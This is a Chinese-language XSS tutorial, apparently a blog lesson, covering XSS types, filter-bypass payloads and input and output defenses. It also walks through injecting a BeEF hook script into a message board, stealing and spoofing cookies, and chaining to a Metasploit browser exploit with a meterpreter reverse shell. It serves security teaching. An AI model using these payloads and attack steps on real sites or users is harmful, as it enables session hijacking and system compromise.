Web攻防第 03 讲:XSS跨站脚本攻击

主要基于JS脚本进行恶意攻击行为

一、XSS的危害

XSS利用JS代码实现攻击,有很多种攻击方法,一下简单列出多种

  1. 盗取各种用户账号
  2. 盗取用户Cookie资料,冒充用户身份进入网站
  3. 劫持用户会话,执行任意操作
  4. 刷流量,执行弹窗广告
  5. 传播蠕虫病毒

二、XSS漏洞的验证方法

      我们可以用一段简单的代码来验证和检查漏洞的存在,这样的代码叫POC(Proof of Concept)

  1. POC:漏洞的验证与检测
  2. EXP:漏洞的完整利用工具
  3. shellcode:利用漏洞时,所执行的代码
  4. payload:攻击载荷

验证XSS漏洞存在的POC如下:

<script>alert(/xss/)</script>

<script>confirm('xss')</script>

<script>prompt('xss')</script>

三、XSS漏洞分类

      反射型XSS、存储型XSS、DOM型XSS

3.1、反射型XSS

      反射型XSS是非持久的、参数性跨站脚本。反射性XSS的JS代码存在Web应用的参数(变脸)中,如:搜索框的反射型XSS。

3.2、存储型XSS

      存储型XSS是持久性跨站脚本。体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。

      存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。

3.3、DOM型XSS

      DOM型XSS比较特殊。OWASP关于DOM型XSS的定义是基于DOM的XSS攻击,其中攻击的payload由于修饰受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这就是DOM型XSS难以检测的原因。

四、绕过XSS过滤器检测的方法

大小写转换、引号的使用、[\]代替空格

4.1、大小写转换

<Img sRc='#' Onerror="alert(/sxx/)" />

<a hREf="javaScript:alert(/xss)">click me</a>

4.2、引号的使用

      HTML语言中对引号的使用不敏感,但是某些过滤函数是锱铢必较。

<img src="#" οnerrοr="alert(/xss/)"/>

<img src='#' οnerrοr='alert(/xss/)'/>

<img src=# οnerrοr=alert(/xss/)/>

4.3、[\]代替空格

      可以利用左斜线代替空格

<Img/sRc='#'/Onerror='alert(/xss/)'/>

五、XSS防御XSS Filter

      XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而到达防范XSS攻击的效果。

5.1、防御方法

5.1.1、输入过滤

      简单的说,输入验证就是对用户提交的信息进行有效验证,仅接收指定长度范围内的,采用适当格式内容提交,组织或忽略除此之外的其他任何数据。

  1. 输入是否仅包含合法字符
  2. 输入字符串是否超过最大长度限制
  3. 输入如果为数字,数字是否在指定范围内
  4. 输入是否符合特殊的格式要求,如E-mail地址、IP地址等

5.1.2、输出编码

      HTML编码主要是使用对应的HTML标签代替字符

5.1.3、黑白名单

      不管是采用输入过滤还是输出编码,都是针对数据信息进行黑、白名单式的过滤。

黑名单:非允许的数据

白名单:允许的数据

5.1.4、防御DOM-XSS

      避免客户端文档重写、重定向或其他敏感操作。

5.2、防御工具beef(kali)

5.2.1、浏览器劫持

      beef是一款XSS神器,是XSS的漏洞利用平台

beef工具目录:/usr/share/beef-xss

beef配置文件: /usr/share/beef-xss/config.yaml(注意,修改配置文件前要备份)

启动命令:(首先定位到/usr/share/beef-xss目录)./beef-xss或./beef

修改默认用户名和密码:(修改配置文件config.yaml)

      credentials:

            user: "beef"

            password: "beef"

      将密码改掉,比如改成:123456

beef的web界面管理控制台:(config.yaml配置文件中):

      Web UI:http://127.0.0.1:3000/ui/panel

 Hook(探针ShellCode):      http://127.0.0.1:3000/hook.js

测试地址:http://127.0.0.1:3000/demos/butcher/index.html

完成了浏览器的劫持

探针的使用方法,只需要在要攻击的网站插入探针脚本即可:<script src=" http://127.0.0.1:3000/hook.js "></script>留言内容

5.2.2、Cookie窃取与欺骗

  1. 登陆beef后台,劫持浏览器之后,在command中找到GetCookie获取cookies值,完成了Cookie窃取(窃取内容--data:cookie=username=admin; userid=1)
  2. document.cookie="username=admin";
    document.cookie="userid=1";
    将以上内容写入浏览器(火狐浏览器web开发者工具中的cookie窗口)完成了Cookie欺骗

5.2.3、利用浏览器漏洞getshell

在完成浏览器劫持之后(被攻击客户端需要在beef后台上线)

命令(永恒之蓝):msfconsole

执行(xp的ie漏洞):use exploit/windows/browser/ms10_002_aurora

执行:set payload windows/meterpreter/reverse_tcp

执行(本机kali地址):set SRVHOST 10.211.55.8

执行(本机kali地址):set LHOST 10.211.55.8

执行:exploit

使用beef后台的Commands窗口中的Redirect Browser功能访问从永恒之蓝生成的地址(地址见上方截图)

浏览器将跳转,此时回到kali中看到已经和客户单建立了会话:

查看session列表

执行:sessions -i

进入第1条会话(根据情况选择)

执行:sessions -i 1

查看所有进程:

执行:ps

查看当前进程

执行:getpid

查看当前用户

执行:getuid

此时已经获得了当前主机的shell(可以使用命令shell查看,exit退出),切换到explorer.exe进程(结合刚才ps得到的所有进程,得知1420是explorer.exe进程)

执行:migrate 1420

可能会切换失败,这时候使用exit命令退出,再重新使用exploit命令来一次之前的步骤

六、XSS盲打平台

网址:http://xsspt.com

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值